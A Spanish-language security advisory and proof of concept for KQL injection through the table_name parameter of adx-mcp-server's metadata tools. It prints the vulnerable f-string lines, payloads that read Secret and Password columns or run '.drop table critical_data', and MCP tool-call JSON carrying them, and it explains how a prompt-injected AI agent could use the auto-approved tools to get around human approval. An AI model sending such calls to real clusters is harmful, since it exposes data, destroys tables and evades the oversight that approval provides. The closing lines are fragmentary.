
Prueba de concepto de exploit para la inyección KQL en adx-mcp-server mediante el parámetro table_name, que permite la exfiltración de datos y la ejecución de comandos destructivos en Azure Data Explorer.
Gravedad: Alta (CVSS 8.3)
CWE: CWE-943 — Neutralización incorrecta de elementos especiales en la lógica de consultas de datos
Afectado: adx-mcp-server <= 1.1.0
Aviso: GHSA-vphc-468g-8rfp
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980
Crédito: Romain Deperne
Tres herramientas MCP en adx-mcp-server interpolan el parámetro table_name directamente en consultas KQL (Kusto Query Language) mediante f-strings. Un atacante o un agente de IA con inyección de prompt puede leer cualquier tabla del clúster de Azure Data Explorer, ejecutar comandos de administración (.drop table) o ejecutar consultas analíticas arbitrarias — eludiendo el límite de confianza entre las herramientas de metadatos "seguras" y la herramienta execute_query sin procesar.
Estaba revisando la lista awesome-mcp-servers buscando específicamente servidores MCP que envuelven plataformas de datos en la nube — estos son de alto riesgo porque están diseñados para dar a los agentes de IA acceso directo a bases de datos, y los parámetros de las herramientas MCP son totalmente controlables por el atacante (cualquier LLM que procese datos no confiables puede ser víctima de inyección de prompt para que pase argumentos maliciosos a las herramientas).
Al revisar cómo los parámetros de las herramientas MCP llegaban a las consultas de Azure Data Explorer se observaron tres interpolaciones directas en server.py: f"{table_name} | getschema", f"{table_name} | sample {sample_size}" y f".show table {table_name} details".
Lo interesante es la elusión del límite de confianza: el servidor expone tanto una herramienta execute_query sin procesar (que los clientes MCP podrían requerir aprobación humana para usar) como estas herramientas "seguras" de inspección de metadatos (que se aprueban automáticamente). Inyectar a través de las herramientas de metadatos permite eludir cualquier política de aprobación que aplique el cliente. Eso es lo que llevó esto de "error de inyección" a una verdadera violación del límite de seguridad.
La sintaxis de comentarios de KQL (//) permite que una carga útil suprima el resto de la consulta original.
Archivo: src/adx_mcp_server/server.py
# Line 228 — get_table_schema
query = f"{table_name} | getschema"
# Line 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"
# Line 268 — get_table_details
query = f".show table {table_name} details"
Los tres pasan table_name de los argumentos de la herramienta MCP directamente a client.execute(config.database, query) sin ninguna validación.
KQL permite encadenar operadores de consulta con | y ejecutar comandos de administración con el prefijo .. El carácter // inicia un comentario de línea. Por lo tanto, la interpolación directa con f-string permite la inyección de consultas:
f"{table_name} | getschema" → añadir | project Secret // para comentar | getschemaf".show table {table_name} details" → inyectar \n.drop table para encadenar un comando de administraciónPor qué esto importa más allá de una herramienta execute_query sin procesar: los clientes MCP a menudo distinguen entre herramientas de solo lectura "seguras" (aprobadas automáticamente) y herramientas de ejecución sin procesar (requieren confirmación). La inyección se dirige a las herramientas de metadatos "seguras", eludiendo el límite de aprobación.
Consulte poc.py para una demostración completa. Cargas útiles principales:
# Data exfiltration via get_table_schema
# f"{table_name} | getschema" becomes:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // comments out "| getschema"; query reads sensitive_data columns
table_name = "sensitive_data | project Secret, Password | take 100 //"
# Destructive management command via get_table_details
# f".show table {table_name} details" becomes:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"
Llamadas a herramientas MCP:
{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}
.drop table, .drop extentstable_name, convirtiendo la inyección de prompts en acceso total a los datos